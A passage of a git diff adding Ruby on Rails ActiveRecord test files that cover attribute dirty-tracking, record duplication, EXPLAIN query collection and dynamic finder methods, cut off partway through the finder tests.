+ attr_accessor :changes_detected_in_after_update # Actual changes
+
+ after_update :check_changes
+
+private
+ # after_save/update and the model itself
+ # can end up checking dirty status and acting on the results
+ def check_changes
+ if self.changed?
+ self.detected_changes_in_after_update = true
+ self.changes_detected_in_after_update = self.changes
+ end
+ end
+end
+
+class NumericData < ActiveRecord::Base
+ self.table_name = 'numeric_data'
+end
+
+class DirtyTest < ActiveRecord::TestCase
+ include InTimeZone
+
+ # Dummy to force column loads so query counts are clean.
+ def setup
+ Person.create :first_name => 'foo'
+ end
+
+ def test_attribute_changes
+ # New record - no changes.
+ pirate = Pirate.new
+ assert !pirate.catchphrase_changed?
+ assert_nil pirate.catchphrase_change
+
+ # Change catchphrase.
+ pirate.catchphrase = 'arrr'
+ assert pirate.catchphrase_changed?
+ assert_nil pirate.catchphrase_was
+ assert_equal [nil, 'arrr'], pirate.catchphrase_change
+
+ # Saved - no changes.
+ pirate.save!
+ assert !pirate.catchphrase_changed?
+ assert_nil pirate.catchphrase_change
+
+ # Same value - no changes.
+ pirate.catchphrase = 'arrr'
+ assert !pirate.catchphrase_changed?
+ assert_nil pirate.catchphrase_change
+ end
+
+ def test_time_attributes_changes_with_time_zone
+ in_time_zone 'Paris' do
+ target = Class.new(ActiveRecord::Base)
+ target.table_name = 'pirates'
+
+ # New record - no changes.
+ pirate = target.new
+ assert !pirate.created_on_changed?
+ assert_nil pirate.created_on_change
+
+ # Saved - no changes.
+ pirate.catchphrase = 'arrrr, time zone!!'
+ pirate.save!
+ assert !pirate.created_on_changed?
+ assert_nil pirate.created_on_change
+
+ # Change created_on.
+ old_created_on = pirate.created_on
+ pirate.created_on = Time.now - 1.day
+ assert pirate.created_on_changed?
+ assert_kind_of ActiveSupport::TimeWithZone, pirate.created_on_was
+ assert_equal old_created_on, pirate.created_on_was
+ pirate.created_on = old_created_on
+ assert !pirate.created_on_changed?
+ end
+ end
+
+ def test_setting_time_attributes_with_time_zone_field_to_itself_should_not_be_marked_as_a_change
+ in_time_zone 'Paris' do
+ target = Class.new(ActiveRecord::Base)
+ target.table_name = 'pirates'
+
+ pirate = target.create
+ pirate.created_on = pirate.created_on
+ assert !pirate.created_on_changed?
+ end
+ end
+
+ def test_time_attributes_changes_without_time_zone_by_skip
+ in_time_zone 'Paris' do
+ target = Class.new(ActiveRecord::Base)
+ target.table_name = 'pirates'
+
+ target.skip_time_zone_conversion_for_attributes = [:created_on]
+
+ # New record - no changes.
+ pirate = target.new
+ assert !pirate.created_on_changed?
+ assert_nil pirate.created_on_change
+
+ # Saved - no changes.
+ pirate.catchphrase = 'arrrr, time zone!!'
+ pirate.save!
+ assert !pirate.created_on_changed?
+ assert_nil pirate.created_on_change
+
+ # Change created_on.
+ old_created_on = pirate.created_on
+ pirate.created_on = Time.now + 1.day
+ assert pirate.created_on_changed?
+ # kind_of does not work because
+ # ActiveSupport::TimeWithZone.name == 'Time'
+ assert_instance_of Time, pirate.created_on_was
+ assert_equal old_created_on, pirate.created_on_was
+ end
+ end
+
+ def test_time_attributes_changes_without_time_zone
+ target = Class.new(ActiveRecord::Base)
+ target.table_name = 'pirates'
+
+ target.time_zone_aware_attributes = false
+
+ # New record - no changes.
+ pirate = target.new
+ assert !pirate.created_on_changed?
+ assert_nil pirate.created_on_change
+
+ # Saved - no changes.
+ pirate.catchphrase = 'arrrr, time zone!!'
+ pirate.save!
+ assert !pirate.created_on_changed?
+ assert_nil pirate.created_on_change
+
+ # Change created_on.
+ old_created_on = pirate.created_on
+ pirate.created_on = Time.now + 1.day
+ assert pirate.created_on_changed?
+ # kind_of does not work because
+ # ActiveSupport::TimeWithZone.name == 'Time'
+ assert_instance_of Time, pirate.created_on_was
+ assert_equal old_created_on, pirate.created_on_was
+ end
+
+
+ def test_aliased_attribute_changes
+ # the actual attribute here is name, title is an
+ # alias setup via alias_attribute
+ parrot = Parrot.new
+ assert !parrot.title_changed?
+ assert_nil parrot.title_change
+
+ parrot.name = 'Sam'
+ assert parrot.title_changed?
+ assert_nil parrot.title_was
+ assert_equal parrot.name_change, parrot.title_change
+ end
+
+ def test_reset_attribute!
+ pirate = Pirate.create!(:catchphrase => 'Yar!')
+ pirate.catchphrase = 'Ahoy!'
+
+ pirate.reset_catchphrase!
+ assert_equal "Yar!", pirate.catchphrase
+ assert_equal Hash.new, pirate.changes
+ assert !pirate.catchphrase_changed?
+ end
+
+ def test_nullable_number_not_marked_as_changed_if_new_value_is_blank
+ pirate = Pirate.new
+
+ ["", nil].each do |value|
+ pirate.parrot_id = value
+ assert !pirate.parrot_id_changed?
+ assert_nil pirate.parrot_id_change
+ end
+ end
+
+ def test_nullable_decimal_not_marked_as_changed_if_new_value_is_blank
+ numeric_data = NumericData.new
+
+ ["", nil].each do |value|
+ numeric_data.bank_balance = value
+ assert !numeric_data.bank_balance_changed?
+ assert_nil numeric_data.bank_balance_change
+ end
+ end
+
+ def test_nullable_float_not_marked_as_changed_if_new_value_is_blank
+ numeric_data = NumericData.new
+
+ ["", nil].each do |value|
+ numeric_data.temperature = value
+ assert !numeric_data.temperature_changed?
+ assert_nil numeric_data.temperature_change
+ end
+ end
+
+ def test_nullable_datetime_not_marked_as_changed_if_new_value_is_blank
+ in_time_zone 'Edinburgh' do
+ target = Class.new(ActiveRecord::Base)
+ target.table_name = 'topics'
+
+ topic = target.create
+ assert_nil topic.written_on
+
+ ["", nil].each do |value|
+ topic.written_on = value
+ assert_nil topic.written_on
+ assert !topic.written_on_changed?
+ end
+ end
+ end
+
+ def test_integer_zero_to_string_zero_not_marked_as_changed
+ pirate = Pirate.new
+ pirate.parrot_id = 0
+ pirate.catchphrase = 'arrr'
+ assert pirate.save!
+
+ assert !pirate.changed?
+
+ pirate.parrot_id = '0'
+ assert !pirate.changed?
+ end
+
+ def test_integer_zero_to_integer_zero_not_marked_as_changed
+ pirate = Pirate.new
+ pirate.parrot_id = 0
+ pirate.catchphrase = 'arrr'
+ assert pirate.save!
+
+ assert !pirate.changed?
+
+ pirate.parrot_id = 0
+ assert !pirate.changed?
+ end
+
+ def test_float_zero_to_string_zero_not_marked_as_changed
+ data = NumericData.new :temperature => 0.0
+ data.save!
+
+ assert_not data.changed?
+
+ data.temperature = '0'
+ assert_empty data.changes
+
+ data.temperature = '0.0'
+ assert_empty data.changes
+
+ data.temperature = '0.00'
+ assert_empty data.changes
+ end
+
+ def test_zero_to_blank_marked_as_changed
+ pirate = Pirate.new
+ pirate.catchphrase = "Yarrrr, me hearties"
+ pirate.parrot_id = 1
+ pirate.save
+
+ # check the change from 1 to ''
+ pirate = Pirate.find_by_catchphrase("Yarrrr, me hearties")
+ pirate.parrot_id = ''
+ assert pirate.parrot_id_changed?
+ assert_equal([1, nil], pirate.parrot_id_change)
+ pirate.save
+
+ # check the change from nil to 0
+ pirate = Pirate.find_by_catchphrase("Yarrrr, me hearties")
+ pirate.parrot_id = 0
+ assert pirate.parrot_id_changed?
+ assert_equal([nil, 0], pirate.parrot_id_change)
+ pirate.save
+
+ # check the change from 0 to ''
+ pirate = Pirate.find_by_catchphrase("Yarrrr, me hearties")
+ pirate.parrot_id = ''
+ assert pirate.parrot_id_changed?
+ assert_equal([0, nil], pirate.parrot_id_change)
+ end
+
+ def test_object_should_be_changed_if_any_attribute_is_changed
+ pirate = Pirate.new
+ assert !pirate.changed?
+ assert_equal [], pirate.changed
+ assert_equal Hash.new, pirate.changes
+
+ pirate.catchphrase = 'arrr'
+ assert pirate.changed?
+ assert_nil pirate.catchphrase_was
+ assert_equal %w(catchphrase), pirate.changed
+ assert_equal({'catchphrase' => [nil, 'arrr']}, pirate.changes)
+
+ pirate.save
+ assert !pirate.changed?
+ assert_equal [], pirate.changed
+ assert_equal Hash.new, pirate.changes
+ end
+
+ def test_attribute_will_change!
+ pirate = Pirate.create!(:catchphrase => 'arr')
+
+ pirate.catchphrase << ' matey'
+ assert !pirate.catchphrase_changed?
+
+ assert pirate.catchphrase_will_change!
+ assert pirate.catchphrase_changed?
+ assert_equal ['arr matey', 'arr matey'], pirate.catchphrase_change
+
+ pirate.catchphrase << '!'
+ assert pirate.catchphrase_changed?
+ assert_equal ['arr matey', 'arr matey!'], pirate.catchphrase_change
+ end
+
+ def test_association_assignment_changes_foreign_key
+ pirate = Pirate.create!(:catchphrase => 'jarl')
+ pirate.parrot = Parrot.create!(:name => 'Lorre')
+ assert pirate.changed?
+ assert_equal %w(parrot_id), pirate.changed
+ end
+
+ def test_attribute_should_be_compared_with_type_cast
+ topic = Topic.new
+ assert topic.approved?
+ assert !topic.approved_changed?
+
+ # Coming from web form.
+ params = {:topic => {:approved => 1}}
+ # In the controller.
+ topic.attributes = params[:topic]
+ assert topic.approved?
+ assert !topic.approved_changed?
+ end
+
+ def test_partial_update
+ pirate = Pirate.new(:catchphrase => 'foo')
+ old_updated_on = 1.hour.ago.beginning_of_day
+
+ with_partial_writes Pirate, false do
+ assert_queries(2) { 2.times { pirate.save! } }
+ Pirate.where(id: pirate.id).update_all(:updated_on => old_updated_on)
+ end
+
+ with_partial_writes Pirate, true do
+ assert_queries(0) { 2.times { pirate.save! } }
+ assert_equal old_updated_on, pirate.reload.updated_on
+
+ assert_queries(1) { pirate.catchphrase = 'bar'; pirate.save! }
+ assert_not_equal old_updated_on, pirate.reload.updated_on
+ end
+ end
+
+ def test_partial_update_with_optimistic_locking
+ person = Person.new(:first_name => 'foo')
+ old_lock_version = 1
+
+ with_partial_writes Person, false do
+ assert_queries(2) { 2.times { person.save! } }
+ Person.where(id: person.id).update_all(:first_name => 'baz')
+ end
+
+ with_partial_writes Person, true do
+ assert_queries(0) { 2.times { person.save! } }
+ assert_equal old_lock_version, person.reload.lock_version
+
+ assert_queries(1) { person.first_name = 'bar'; person.save! }
+ assert_not_equal old_lock_version, person.reload.lock_version
+ end
+ end
+
+ def test_changed_attributes_should_be_preserved_if_save_failure
+ pirate = Pirate.new
+ pirate.parrot_id = 1
+ assert !pirate.save
+ check_pirate_after_save_failure(pirate)
+
+ pirate = Pirate.new
+ pirate.parrot_id = 1
+ assert_raise(ActiveRecord::RecordInvalid) { pirate.save! }
+ check_pirate_after_save_failure(pirate)
+ end
+
+ def test_reload_should_clear_changed_attributes
+ pirate = Pirate.create!(:catchphrase => "shiver me timbers")
+ pirate.catchphrase = "*hic*"
+ assert pirate.changed?
+ pirate.reload
+ assert !pirate.changed?
+ end
+
+ def test_dup_objects_should_not_copy_dirty_flag_from_creator
+ pirate = Pirate.create!(:catchphrase => "shiver me timbers")
+ pirate_dup = pirate.dup
+ pirate_dup.reset_catchphrase!
+ pirate.catchphrase = "I love Rum"
+ assert pirate.catchphrase_changed?
+ assert !pirate_dup.catchphrase_changed?
+ end
+
+ def test_reverted_changes_are_not_dirty
+ phrase = "shiver me timbers"
+ pirate = Pirate.create!(:catchphrase => phrase)
+ pirate.catchphrase = "*hic*"
+ assert pirate.changed?
+ pirate.catchphrase = phrase
+ assert !pirate.changed?
+ end
+
+ def test_reverted_changes_are_not_dirty_after_multiple_changes
+ phrase = "shiver me timbers"
+ pirate = Pirate.create!(:catchphrase => phrase)
+ 10.times do |i|
+ pirate.catchphrase = "*hic*" * i
+ assert pirate.changed?
+ end
+ assert pirate.changed?
+ pirate.catchphrase = phrase
+ assert !pirate.changed?
+ end
+
+
+ def test_reverted_changes_are_not_dirty_going_from_nil_to_value_and_back
+ pirate = Pirate.create!(:catchphrase => "Yar!")
+
+ pirate.parrot_id = 1
+ assert pirate.changed?
+ assert pirate.parrot_id_changed?
+ assert !pirate.catchphrase_changed?
+
+ pirate.parrot_id = nil
+ assert !pirate.changed?
+ assert !pirate.parrot_id_changed?
+ assert !pirate.catchphrase_changed?
+ end
+
+ def test_save_should_store_serialized_attributes_even_with_partial_writes
+ with_partial_writes(Topic) do
+ topic = Topic.create!(:content => {:a => "a"})
+ topic.content[:b] = "b"
+ #assert topic.changed? # Known bug, will fail
+ topic.save!
+ assert_equal "b", topic.content[:b]
+ topic.reload
+ assert_equal "b", topic.content[:b]
+ end
+ end
+
+ def test_save_always_should_update_timestamps_when_serialized_attributes_are_present
+ with_partial_writes(Topic) do
+ topic = Topic.create!(:content => {:a => "a"})
+ topic.save!
+
+ updated_at = topic.updated_at
+ topic.content[:hello] = 'world'
+ topic.save!
+
+ assert_not_equal updated_at, topic.updated_at
+ assert_equal 'world', topic.content[:hello]
+ end
+ end
+
+ def test_save_should_not_save_serialized_attribute_with_partial_writes_if_not_present
+ with_partial_writes(Topic) do
+ Topic.create!(:author_name => 'Bill', :content => {:a => "a"})
+ topic = Topic.select('id, author_name').first
+ topic.update_columns author_name: 'John'
+ topic = Topic.first
+ assert_not_nil topic.content
+ end
+ end
+
+ def test_previous_changes
+ # original values should be in previous_changes
+ pirate = Pirate.new
+
+ assert_equal Hash.new, pirate.previous_changes
+ pirate.catchphrase = "arrr"
+ pirate.save!
+
+ assert_equal 4, pirate.previous_changes.size
+ assert_equal [nil, "arrr"], pirate.previous_changes['catchphrase']
+ assert_equal [nil, pirate.id], pirate.previous_changes['id']
+ assert_nil pirate.previous_changes['updated_on'][0]
+ assert_not_nil pirate.previous_changes['updated_on'][1]
+ assert_nil pirate.previous_changes['created_on'][0]
+ assert_not_nil pirate.previous_changes['created_on'][1]
+ assert !pirate.previous_changes.key?('parrot_id')
+
+ # original values should be in previous_changes
+ pirate = Pirate.new
+
+ assert_equal Hash.new, pirate.previous_changes
+ pirate.catchphrase = "arrr"
+ pirate.save
+
+ assert_equal 4, pirate.previous_changes.size
+ assert_equal [nil, "arrr"], pirate.previous_changes['catchphrase']
+ assert_equal [nil, pirate.id], pirate.previous_changes['id']
+ assert pirate.previous_changes.include?('updated_on')
+ assert pirate.previous_changes.include?('created_on')
+ assert !pirate.previous_changes.key?('parrot_id')
+
+ pirate.catchphrase = "Yar!!"
+ pirate.reload
+ assert_equal Hash.new, pirate.previous_changes
+
+ pirate = Pirate.find_by_catchphrase("arrr")
+ pirate.catchphrase = "Me Maties!"
+ pirate.save!
+
+ assert_equal 2, pirate.previous_changes.size
+ assert_equal ["arrr", "Me Maties!"], pirate.previous_changes['catchphrase']
+ assert_not_nil pirate.previous_changes['updated_on'][0]
+ assert_not_nil pirate.previous_changes['updated_on'][1]
+ assert !pirate.previous_changes.key?('parrot_id')
+ assert !pirate.previous_changes.key?('created_on')
+
+ pirate = Pirate.find_by_catchphrase("Me Maties!")
+ pirate.catchphrase = "Thar She Blows!"
+ pirate.save
+
+ assert_equal 2, pirate.previous_changes.size
+ assert_equal ["Me Maties!", "Thar She Blows!"], pirate.previous_changes['catchphrase']
+ assert_not_nil pirate.previous_changes['updated_on'][0]
+ assert_not_nil pirate.previous_changes['updated_on'][1]
+ assert !pirate.previous_changes.key?('parrot_id')
+ assert !pirate.previous_changes.key?('created_on')
+
+ pirate = Pirate.find_by_catchphrase("Thar She Blows!")
+ pirate.update(catchphrase: "Ahoy!")
+
+ assert_equal 2, pirate.previous_changes.size
+ assert_equal ["Thar She Blows!", "Ahoy!"], pirate.previous_changes['catchphrase']
+ assert_not_nil pirate.previous_changes['updated_on'][0]
+ assert_not_nil pirate.previous_changes['updated_on'][1]
+ assert !pirate.previous_changes.key?('parrot_id')
+ assert !pirate.previous_changes.key?('created_on')
+
+ pirate = Pirate.find_by_catchphrase("Ahoy!")
+ pirate.update_attribute(:catchphrase, "Ninjas suck!")
+
+ assert_equal 2, pirate.previous_changes.size
+ assert_equal ["Ahoy!", "Ninjas suck!"], pirate.previous_changes['catchphrase']
+ assert_not_nil pirate.previous_changes['updated_on'][0]
+ assert_not_nil pirate.previous_changes['updated_on'][1]
+ assert !pirate.previous_changes.key?('parrot_id')
+ assert !pirate.previous_changes.key?('created_on')
+ end
+
+ if ActiveRecord::Base.connection.supports_migrations?
+ class Testings < ActiveRecord::Base; end
+ def test_field_named_field
+ ActiveRecord::Base.connection.create_table :testings do |t|
+ t.string :field
+ end
+ assert_nothing_raised do
+ Testings.new.attributes
+ end
+ ensure
+ ActiveRecord::Base.connection.drop_table :testings rescue nil
+ end
+ end
+
+ def test_datetime_attribute_can_be_updated_with_fractional_seconds
+ in_time_zone 'Paris' do
+ target = Class.new(ActiveRecord::Base)
+ target.table_name = 'topics'
+
+ written_on = Time.utc(2012, 12, 1, 12, 0, 0).in_time_zone('Paris')
+
+ topic = target.create(:written_on => written_on)
+ topic.written_on += 0.3
+
+ assert topic.written_on_changed?, 'Fractional second update not detected'
+ end
+ end
+
+ test "partial insert" do
+ with_partial_writes Person do
+ jon = nil
+ assert_sql(/first_name/i) do
+ jon = Person.create! first_name: 'Jon'
+ end
+
+ assert ActiveRecord::SQLCounter.log_all.none? { |sql| sql =~ /followers_count/ }
+
+ jon.reload
+ assert_equal 'Jon', jon.first_name
+ assert_equal 0, jon.followers_count
+ assert_not_nil jon.id
+ end
+ end
+
+ test "partial insert with empty values" do
+ with_partial_writes Aircraft do
+ a = Aircraft.create!
+ a.reload
+ assert_not_nil a.id
+ end
+ end
+
+ test "partial_updates config attribute is deprecated" do
+ klass = Class.new(ActiveRecord::Base)
+
+ assert klass.partial_writes?
+ assert_deprecated { assert klass.partial_updates? }
+ assert_deprecated { assert klass.partial_updates }
+
+ assert_deprecated { klass.partial_updates = false }
+
+ assert !klass.partial_writes?
+ assert_deprecated { assert !klass.partial_updates? }
+ assert_deprecated { assert !klass.partial_updates }
+ end
+
+ private
+ def with_partial_writes(klass, on = true)
+ old = klass.partial_writes?
+ klass.partial_writes = on
+ yield
+ ensure
+ klass.partial_writes = old
+ end
+
+ def check_pirate_after_save_failure(pirate)
+ assert pirate.changed?
+ assert pirate.parrot_id_changed?
+ assert_equal %w(parrot_id), pirate.changed
+ assert_nil pirate.parrot_id_was
+ end
+end
diff --git a/activerecord/test/cases/dup_test.rb b/activerecord/test/cases/dup_test.rb
new file mode 100644
index 0000000..f73e449
--- /dev/null
+++ b/activerecord/test/cases/dup_test.rb
@@ -0,0 +1,136 @@
+require "cases/helper"
+require 'models/topic'
+
+module ActiveRecord
+ class DupTest < ActiveRecord::TestCase
+ fixtures :topics
+
+ def test_dup
+ assert !Topic.new.freeze.dup.frozen?
+ end
+
+ def test_not_readonly
+ topic = Topic.first
+
+ duped = topic.dup
+ assert !duped.readonly?, 'should not be readonly'
+ end
+
+ def test_is_readonly
+ topic = Topic.first
+ topic.readonly!
+
+ duped = topic.dup
+ assert duped.readonly?, 'should be readonly'
+ end
+
+ def test_dup_not_persisted
+ topic = Topic.first
+ duped = topic.dup
+
+ assert !duped.persisted?, 'topic not persisted'
+ assert duped.new_record?, 'topic is new'
+ end
+
+ def test_dup_has_no_id
+ topic = Topic.first
+ duped = topic.dup
+ assert_nil duped.id
+ end
+
+ def test_dup_with_modified_attributes
+ topic = Topic.first
+ topic.author_name = 'Aaron'
+ duped = topic.dup
+ assert_equal 'Aaron', duped.author_name
+ end
+
+ def test_dup_with_changes
+ dbtopic = Topic.first
+ topic = Topic.new
+
+ topic.attributes = dbtopic.attributes.except("id")
+
+ #duped has no timestamp values
+ duped = dbtopic.dup
+
+ #clear topic timestamp values
+ topic.send(:clear_timestamp_attributes)
+
+ assert_equal topic.changes, duped.changes
+ end
+
+ def test_dup_topics_are_independent
+ topic = Topic.first
+ topic.author_name = 'Aaron'
+ duped = topic.dup
+
+ duped.author_name = 'meow'
+
+ assert_not_equal topic.changes, duped.changes
+ end
+
+ def test_dup_attributes_are_independent
+ topic = Topic.first
+ duped = topic.dup
+
+ duped.author_name = 'meow'
+ topic.author_name = 'Aaron'
+
+ assert_equal 'Aaron', topic.author_name
+ assert_equal 'meow', duped.author_name
+ end
+
+ def test_dup_timestamps_are_cleared
+ topic = Topic.first
+ assert_not_nil topic.updated_at
+ assert_not_nil topic.created_at
+
+ # temporary change to the topic object
+ topic.updated_at -= 3.days
+
+ #dup should not preserve the timestamps if present
+ new_topic = topic.dup
+ assert_nil new_topic.updated_at
+ assert_nil new_topic.created_at
+
+ new_topic.save
+ assert_not_nil new_topic.updated_at
+ assert_not_nil new_topic.created_at
+ end
+
+ def test_dup_after_initialize_callbacks
+ topic = Topic.new
+ assert Topic.after_initialize_called
+ Topic.after_initialize_called = false
+ topic.dup
+ assert Topic.after_initialize_called
+ end
+
+ def test_dup_validity_is_independent
+ repair_validations(Topic) do
+ Topic.validates_presence_of :title
+ topic = Topic.new("title" => "Literature")
+ topic.valid?
+
+ duped = topic.dup
+ duped.title = nil
+ assert duped.invalid?
+
+ topic.title = nil
+ duped.title = 'Mathematics'
+ assert topic.invalid?
+ assert duped.valid?
+ end
+ end
+
+ def test_dup_with_default_scope
+ prev_default_scopes = Topic.default_scopes
+ Topic.default_scopes = [Topic.where(:approved => true)]
+ topic = Topic.new(:approved => false)
+ assert !topic.dup.approved?, "should not be overridden by default scopes"
+ ensure
+ Topic.default_scopes = prev_default_scopes
+ end
+ end
+end
diff --git a/activerecord/test/cases/explain_subscriber_test.rb b/activerecord/test/cases/explain_subscriber_test.rb
new file mode 100644
index 0000000..fb53a92
--- /dev/null
+++ b/activerecord/test/cases/explain_subscriber_test.rb
@@ -0,0 +1,54 @@
+require 'cases/helper'
+require 'active_record/explain_subscriber'
+require 'active_record/explain_registry'
+
+if ActiveRecord::Base.connection.supports_explain?
+ class ExplainSubscriberTest < ActiveRecord::TestCase
+ SUBSCRIBER = ActiveRecord::ExplainSubscriber.new
+
+ def setup
+ ActiveRecord::ExplainRegistry.reset
+ ActiveRecord::ExplainRegistry.collect = true
+ end
+
+ def test_collects_nothing_if_the_payload_has_an_exception
+ SUBSCRIBER.finish(nil, nil, exception: Exception.new)
+ assert queries.empty?
+ end
+
+ def test_collects_nothing_for_ignored_payloads
+ ActiveRecord::ExplainSubscriber::IGNORED_PAYLOADS.each do |ip|
+ SUBSCRIBER.finish(nil, nil, name: ip)
+ end
+ assert queries.empty?
+ end
+
+ def test_collects_nothing_if_collect_is_false
+ ActiveRecord::ExplainRegistry.collect = false
+ SUBSCRIBER.finish(nil, nil, name: 'SQL', sql: 'select 1 from users', binds: [1, 2])
+ assert queries.empty?
+ end
+
+ def test_collects_pairs_of_queries_and_binds
+ sql = 'select 1 from users'
+ binds = [1, 2]
+ SUBSCRIBER.finish(nil, nil, name: 'SQL', sql: sql, binds: binds)
+ assert_equal 1, queries.size
+ assert_equal sql, queries[0][0]
+ assert_equal binds, queries[0][1]
+ end
+
+ def test_collects_nothing_if_the_statement_is_not_whitelisted
+ SUBSCRIBER.finish(nil, nil, name: 'SQL', sql: 'SHOW max_identifier_length')
+ assert queries.empty?
+ end
+
+ def teardown
+ ActiveRecord::ExplainRegistry.reset
+ end
+
+ def queries
+ ActiveRecord::ExplainRegistry.queries
+ end
+ end
+end
diff --git a/activerecord/test/cases/explain_test.rb b/activerecord/test/cases/explain_test.rb
new file mode 100644
index 0000000..6dac5db
--- /dev/null
+++ b/activerecord/test/cases/explain_test.rb
@@ -0,0 +1,72 @@
+require 'cases/helper'
+require 'models/car'
+require 'active_support/core_ext/string/strip'
+
+if ActiveRecord::Base.connection.supports_explain?
+ class ExplainTest < ActiveRecord::TestCase
+ fixtures :cars
+
+ def base
+ ActiveRecord::Base
+ end
+
+ def connection
+ base.connection
+ end
+
+ def test_relation_explain
+ message = Car.where(:name => 'honda').explain
+ assert_match(/^EXPLAIN for:/, message)
+ end
+
+ def test_collecting_queries_for_explain
+ queries = ActiveRecord::Base.collecting_queries_for_explain do
+ Car.where(:name => 'honda').to_a
+ end
+
+ sql, binds = queries[0]
+ assert_match "SELECT", sql
+ assert_match "honda", sql
+ assert_equal [], binds
+ end
+
+ def test_exec_explain_with_no_binds
+ sqls = %w(foo bar)
+ binds = [[], []]
+ queries = sqls.zip(binds)
+
+ connection.stubs(:explain).returns('query plan foo', 'query plan bar')
+ expected = sqls.map {|sql| "EXPLAIN for: #{sql}\nquery plan #{sql}"}.join("\n")
+ assert_equal expected, base.exec_explain(queries)
+ end
+
+ def test_exec_explain_with_binds
+ cols = [Object.new, Object.new]
+ cols[0].expects(:name).returns('wadus')
+ cols[1].expects(:name).returns('chaflan')
+
+ sqls = %w(foo bar)
+ binds = [[[cols[0], 1]], [[cols[1], 2]]]
+ queries = sqls.zip(binds)
+
+ connection.stubs(:explain).returns("query plan foo\n", "query plan bar\n")
+ expected = <<-SQL.strip_heredoc
+ EXPLAIN for: #{sqls[0]} [["wadus", 1]]
+ query plan foo
+
+ EXPLAIN for: #{sqls[1]} [["chaflan", 2]]
+ query plan bar
+ SQL
+ assert_equal expected, base.exec_explain(queries)
+ end
+
+ def test_unsupported_connection_adapter
+ connection.stubs(:supports_explain?).returns(false)
+
+ base.logger.expects(:warn).never
+
+ Car.where(:name => 'honda').to_a
+ end
+
+ end
+end
diff --git a/activerecord/test/cases/finder_respond_to_test.rb b/activerecord/test/cases/finder_respond_to_test.rb
new file mode 100644
index 0000000..9440cd4
--- /dev/null
+++ b/activerecord/test/cases/finder_respond_to_test.rb
@@ -0,0 +1,90 @@
+require "cases/helper"
+require 'models/topic'
+
+class FinderRespondToTest < ActiveRecord::TestCase
+
+ fixtures :topics
+
+ def test_should_preserve_normal_respond_to_behaviour_and_respond_to_newly_added_method
+ class << Topic; self; end.send(:define_method, :method_added_for_finder_respond_to_test) { }
+ assert_respond_to Topic, :method_added_for_finder_respond_to_test
+ ensure
+ class << Topic; self; end.send(:remove_method, :method_added_for_finder_respond_to_test)
+ end
+
+ def test_should_preserve_normal_respond_to_behaviour_and_respond_to_standard_object_method
+ assert_respond_to Topic, :to_s
+ end
+
+ def test_should_respond_to_find_by_one_attribute_before_caching
+ ensure_topic_method_is_not_cached(:find_by_title)
+ assert_respond_to Topic, :find_by_title
+ end
+
+ def test_should_respond_to_find_all_by_one_attribute
+ ensure_topic_method_is_not_cached(:find_all_by_title)
+ assert_respond_to Topic, :find_all_by_title
+ end
+
+ def test_should_respond_to_find_all_by_two_attributes
+ ensure_topic_method_is_not_cached(:find_all_by_title_and_author_name)
+ assert_respond_to Topic, :find_all_by_title_and_author_name
+ end
+
+ def test_should_respond_to_find_by_two_attributes
+ ensure_topic_method_is_not_cached(:find_by_title_and_author_name)
+ assert_respond_to Topic, :find_by_title_and_author_name
+ end
+
+ def test_should_respond_to_find_all_by_an_aliased_attribute
+ ensure_topic_method_is_not_cached(:find_by_heading)
+ assert_respond_to Topic, :find_by_heading
+ end
+
+ def test_should_respond_to_find_or_initialize_from_one_attribute
+ ensure_topic_method_is_not_cached(:find_or_initialize_by_title)
+ assert_respond_to Topic, :find_or_initialize_by_title
+ end
+
+ def test_should_respond_to_find_or_initialize_from_two_attributes
+ ensure_topic_method_is_not_cached(:find_or_initialize_by_title_and_author_name)
+ assert_respond_to Topic, :find_or_initialize_by_title_and_author_name
+ end
+
+ def test_should_respond_to_find_or_create_from_one_attribute
+ ensure_topic_method_is_not_cached(:find_or_create_by_title)
+ assert_respond_to Topic, :find_or_create_by_title
+ end
+
+ def test_should_respond_to_find_or_create_from_two_attributes
+ ensure_topic_method_is_not_cached(:find_or_create_by_title_and_author_name)
+ assert_respond_to Topic, :find_or_create_by_title_and_author_name
+ end
+
+ def test_should_respond_to_find_or_create_from_one_attribute_bang
+ ensure_topic_method_is_not_cached(:find_or_create_by_title!)
+ assert_respond_to Topic, :find_or_create_by_title!
+ end
+
+ def test_should_respond_to_find_or_create_from_two_attributes_bang
+ ensure_topic_method_is_not_cached(:find_or_create_by_title_and_author_name!)
+ assert_respond_to Topic, :find_or_create_by_title_and_author_name!
+ end
+
+ def test_should_not_respond_to_find_by_one_missing_attribute
+ assert !Topic.respond_to?(:find_by_undertitle)
+ end
+
+ def test_should_not_respond_to_find_by_invalid_method_syntax
+ assert !Topic.respond_to?(:fail_to_find_by_title)
+ assert !Topic.respond_to?(:find_by_title?)
+ assert !Topic.respond_to?(:fail_to_find_or_create_by_title)
+ assert !Topic.respond_to?(:find_or_create_by_title?)
+ end
+
+ private
+
+ def ensure_topic_method_is_not_cached(method_id)
+ class << Topic; self; end.send(:remove_method, method_id) if Topic.public_methods.include? method_id
+ end
+end
diff --git a/activerecord/test/cases/finder_test.rb b/activerecord/test/cases/finder_test.rb
new file mode 100644
index 0000000..557cc7e
--- /dev/null
+++ b/activerecord/test/cases/finder_test.rb
@@ -0,0 +1,873 @@
+require "cases/helper"
+require 'models/post'
+require 'models/author'
+require 'models/categorization'
+require 'models/comment'
+require 'models/company'
+require 'models/topic'
+require 'models/reply'
+require 'models/entrant'
+require 'models/project'
+require 'models/developer'
+require 'models/customer'
+require 'models/toy'
+
+class FinderTest < ActiveRecord::TestCase
+ fixtures :companies, :topics, :entrants, :developers, :developers_projects, :posts, :comments, :accounts, :authors, :customers, :categories, :categorizations
+
+ def test_find_by_id_with_hash
+ assert_raises(ActiveRecord::StatementInvalid) do
+ Post.find_by_id(:limit => 1)
+ end
+ end
+
+ def test_find_by_title_and_id_with_hash
+ assert_raises(ActiveRecord::StatementInvalid) do
+ Post.find_by_title_and_id('foo', :limit => 1)
+ end
+ end
+
+ def test_find
+ assert_equal(topics(:first).title, Topic.find(1).title)
+ end
+
+ def test_symbols_table_ref
+ Post.first # warm up
+ x = Symbol.all_symbols.count
+ Post.where("title" => {"xxxqqqq" => "bar"})
+ assert_equal x, Symbol.all_symbols.count
+ end
+
+ # find should handle strings that come from URLs
+ # (example: Category.find(params[:id]))
+ def test_find_with_string
+ assert_equal(Topic.find(1).title,Topic.find("1").title)
+ end
+
+ def test_exists
+ assert Topic.exists?(1)
+ assert Topic.exists?("1")
+ assert Topic.exists?(:author_name => "David")
+ assert Topic.exists?(:author_name => "Mary", :approved => true)
+ assert Topic.exists?(["parent_id = ?", 1])
+ assert !Topic.exists?(45)
+ assert !Topic.exists?(Topic.new)
+
+ begin
+ assert !Topic.exists?("foo")
